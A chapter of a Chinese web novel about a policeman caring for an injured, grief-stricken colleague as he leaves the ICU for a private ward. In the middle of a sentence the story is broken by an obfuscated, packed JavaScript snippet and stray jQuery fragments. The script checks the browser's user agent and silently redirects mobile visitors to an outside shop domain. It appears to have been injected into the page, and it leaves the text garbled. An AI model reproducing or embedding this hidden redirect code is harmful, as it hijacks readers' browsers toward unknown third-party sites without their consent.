又过了难熬的二十四小时。
这期间,薛安几乎没怎么离开过医院。饿了就在楼下便利店随便买点东西糊口,困了就在家属等候区的硬椅子上眯一会儿,腰疼得厉害了就吞两粒止痛药。
他像一根绷到极致的弦,守着ICU那扇门,也守着里面那个生死未卜的人。
队里的抓捕行动很顺利,“老拐”及其同伙在一个城乡结合部的出租屋里被一网打尽,解救了另外两名还没来得及“出手”的被拐儿童。
案件的侦破取得了重大进展,新闻也做了报道,市民拍手称快。
但薛安对此只有一种麻木的欣慰,他的全部心神,依旧系在病房里。
谢故迟的情况在缓慢而艰难地好转。生命体征逐渐稳定,脱离了最危险的阶段,但肺部感染反复,高烧了几次,都被医护人员及时控制住。
他清醒的时间越来越长,但依旧沉默,除了必要的医疗问答,几乎不开口。护士说他很配合治疗,但那种配合里透着一种令人心慌的疏离和死寂。
薛安只能通过那扇小小的观察窗,贪婪地捕捉谢故迟的身影。看着他被疼痛折磨时蹙紧的眉,看着他望着窗外天空时空洞的眼神,看着他因为咳嗽牵扯到伤口而瞬间苍白的脸……每一次,都像有一把钝刀在薛安心上慢慢割。
他无数次想冲进去,握住谢故迟的手,告诉他“疼就喊出来”,告诉他“别怕,有我在”,告诉他“奕含和阿姨都很好,我安排好了”。但他只能站在外面,像一个无能的旁观者。
直到这天下午,谢故迟的主治医生在查完房后,主动找到了在走廊里踱步的薛安。
“薛警官,”医生摘下口罩,脸上带着一丝疲惫后的轻松,“谢故迟患者情况基本稳定了,感染控制住了,各项指标都在向好的方向发展。观察期已过,可以考虑转入普通病房了。”
薛安的眼睛瞬间亮了,但随即又紧张起来:“那……他还有什么问题吗?肺以后……”
“肺部损伤是永久性的,以后呼吸功能会比常人弱,不能从事重体力劳动和剧烈运动,要特别注意预防感冒和肺部感染。另外,”医生顿了顿,看着薛安,“他情绪和意志方面的问题,可能比身体上的恢复更棘手。他几乎不与人交流,对治疗和未来似乎……缺乏积极性。这很危险。你是他同事,也是他目前最亲近、最信任的人之一吧?”
薛安喉结滚动了一下,重重地点了点头。
“转入普通病房后,需要家属和亲近的人多陪伴,多沟通,帮助他重建生活的信心和希望。你……能多来陪陪他吗?”医生目光里带着询问。
“能!我随时都可以!”薛安立刻答道,声音因为激动而有些发颤。他终于可以进去了!可以不再隔着那层冰冷的玻璃!
“好。今天下午就可以转过去。病房号是7012,单人病房,安静些。注意,他身体还很虚,不要让他说太多话,不要让他情绪激动,探视时间也要控制。”医生叮嘱道。
“明白!谢谢医生!”薛安连声道谢,目送医生离开后,他几乎是跑着去楼下的超市,买了新的毛巾、脸盆、柔软的纸巾,还有几本看起来轻松些的杂志。他知道谢故迟爱干净,喜欢安静。
下午三点,谢故迟被护士用轮椅推着,转入了七楼的单人病房。薛安提着大包小包,跟在一旁,心跳得飞快。他亦步亦趋地跟着,目光紧紧锁在轮椅上那个清瘦得过分、穿着宽大病号服的身影上。
谢故迟微微垂着头,露出后颈一节嶙峋的脊椎骨。他一只手无力地搭在轮椅扶手上,手背上还埋着留置针,透明的输液管随着轮椅的移动轻轻晃动。
阳光从走廊窗户照进来,给他苍白的侧脸镀上了一层浅金色的光晕,却更显得他透明脆弱,仿佛下一秒就会融化在光线里。
进入病房,护士小心地将谢故迟搀扶到病床上躺好,调整了输液速度,又检查了监护仪,交代了几句注意事项,才离开。
病房里终于只剩下他们两个人。
空气突然安静下来,只有监护仪规律的、轻微的滴答声,和窗外隐约传来的城市噪音。消毒水的气味淡了些,取而代之的是阳光晒过被褥的暖香,混合着一种淡淡的、属于病人的孱弱气息。
薛安站在床尾,看着谢故迟。他躺在那里,闭着眼睛,胸口随着呼吸轻微起伏,比在ICU时平稳了许多,但依旧能看出每一次吸气都有些费力。长长的睫毛在眼睑下投出小片阴影,嘴唇依旧没什么血色,干燥得起皮。
薛安喉咙发干,他轻轻放下手里的东西,走到床边,在陪护椅上坐下。椅子离床很近,他能清晰地看到谢故迟脸上细小的绒毛,能闻到他身上消毒水和极淡药膏混合的味道。
“老谢?”薛安试探着,极轻地叫了一声,声音是自己都未察觉的小心翼翼。
谢故迟的睫毛颤动了一下,缓缓睁开眼。那双眼睛依旧清澈,却像是蒙上了一层薄雾,失去了往日锐利的神采,只剩下深不见底的疲惫和一片荒芜的空寂。
他眼珠转动,视线落在薛安脸上,停留了几秒,仿佛在辨认,又仿佛只是无意识的注视。然后,他几不可察地,眨了一下眼,算是回应。
没有惊喜,没有波澜,甚至没有疑问。就像看到一件无关紧要的摆设。
薛安的心微微沉了沉,但很快又提起来。能醒来,能看着他,已经是天大的恩赐了。
“感觉怎么样?还疼得厉害吗?”薛安问,声音放得更柔。
谢故迟看着他,嘴唇微微动了一下,似乎想说什么,但最终只是几不可闻地、极其缓慢地摇了摇头。动作轻得仿佛只是气息的颤动。
不说话。是没力气,还是……不想说?
薛安压下心头的酸涩,扯出一个尽量轻松的笑容:“没事,不想说就不说。医生说了,你恢复得不错,观察期过了,没事了。就是还得好好养着,肺伤了,得慢慢来。”他顿了顿,看着谢故迟空洞的眼神,心里那点强装的轻松几乎维持不住,他舔了舔干涩的嘴唇,继续道,“奕含和阿姨那边,你别担心。奕含暂时住在我一个信得过的老同学家里,她家也有个小孩,能玩到一起。阿姨……情绪还是不太好,我请了护工白天照顾着,我也经常去看。都安排好了,你只管安心养病。”
听到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559267|204528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“奕含”和“阿姨”,谢故迟的眼神似乎波动了一下,那层空寂的薄雾被撕开了一道细微的缝隙,露出底下深藏的、沉重的痛苦。他的手指无意识地蜷缩了一下,握住了身下的床单,指节泛白。
“姐……”他喉咙里发出一个极其沙哑、破碎的音节,像砂纸摩擦过粗粝的水泥地。只一个字,就耗尽了力气,他急促地喘息了几下,牵扯到胸口的伤,眉头紧紧蹙起,额头上瞬间渗出细密的冷汗。
“别想!老谢,别想!”薛安立刻慌了,想碰他,又怕弄疼他,手悬在半空,声音带着压抑的急切,“现在别想那些!先养好身体!等你好起来,我们一起去查,一起去……讨回公道!”他差点冲口而出“报仇”,但硬生生忍住了,换成了“讨回公道”。
谢故迟闭了闭眼,再睁开时,眼底那丝痛苦被强行压了下去。他不再看薛安,目光转向窗外,看着那片被窗户框住的、有限的蓝天。
薛安看着他沉默的侧脸,心里像被塞进了一团浸水的棉花,又沉又闷,透不过气。
他知道谢故迟在承受着什么——至亲惨死,自身重伤,职业生涯可能终结,家庭重担突然压下……任何一件都足以压垮一个人,更何况是接踵而至。
他想起医生说的,情绪和意志的恢复更棘手。现在的谢故迟,就像一座内部被摧毁、只剩断壁残垣的堡垒,对外封闭,对内一片荒凉。
薛安不知道该怎么打破这层坚冰。他从来不是善于安慰人的人,以往插科打诨、嬉笑怒骂的那一套,在此时此刻,显得如此苍白无力。
他沉默地坐了一会儿,起身去倒了杯温水,插上吸管,递到谢故迟唇边:“喝点水,嘴唇都干了。”
谢故迟没动,依旧看着窗外。
薛安的手僵在半空。他犹豫了一下,轻轻碰了碰谢故迟没有输液的那只手的手臂,触手一片冰凉。“老谢,喝点水,对恢复好。”
谢故迟这才极其缓慢地转过头,目光落在吸管上,停顿了几秒,然后微微张开干裂的嘴唇,含住了吸管,极其缓慢地吸了一小口。
温水润过喉咙,他吞咽的动作都有些艰难,眉头又蹙了一下。
薛安心头一松,像是完成了一项重大的任务。他小心地举着杯子,看着谢故迟小口小口地喝着,直到他轻轻摇了摇头,表示不要了,才把杯子拿开。
“饿不饿?要不要吃点?我去买点饭。”薛安又问。
谢故迟摇了摇头,重新闭上眼睛,一副拒绝交流、疲惫至极的样子。
薛安不再勉强。他拉过椅子,坐在床边,就这么安静地陪着。
阳光从窗户斜射进来,在洁白的床单上移动。病房里安静得能听到两人的呼吸声,一个轻浅费力,一个沉重压抑。
薛安伸出手,极其轻缓地,用指尖碰了碰谢故迟放在身侧、没有输液的那只手的手背。皮肤冰凉,带着伤病的脆弱。
谢故迟的手指几不可察地动了一下,但没有躲开,也没有醒来。
薛安就这样,用指尖很轻地贴着他冰凉的手背,感受着那微弱的生命温度,仿佛这样就能将自己的力量和温度传递过去。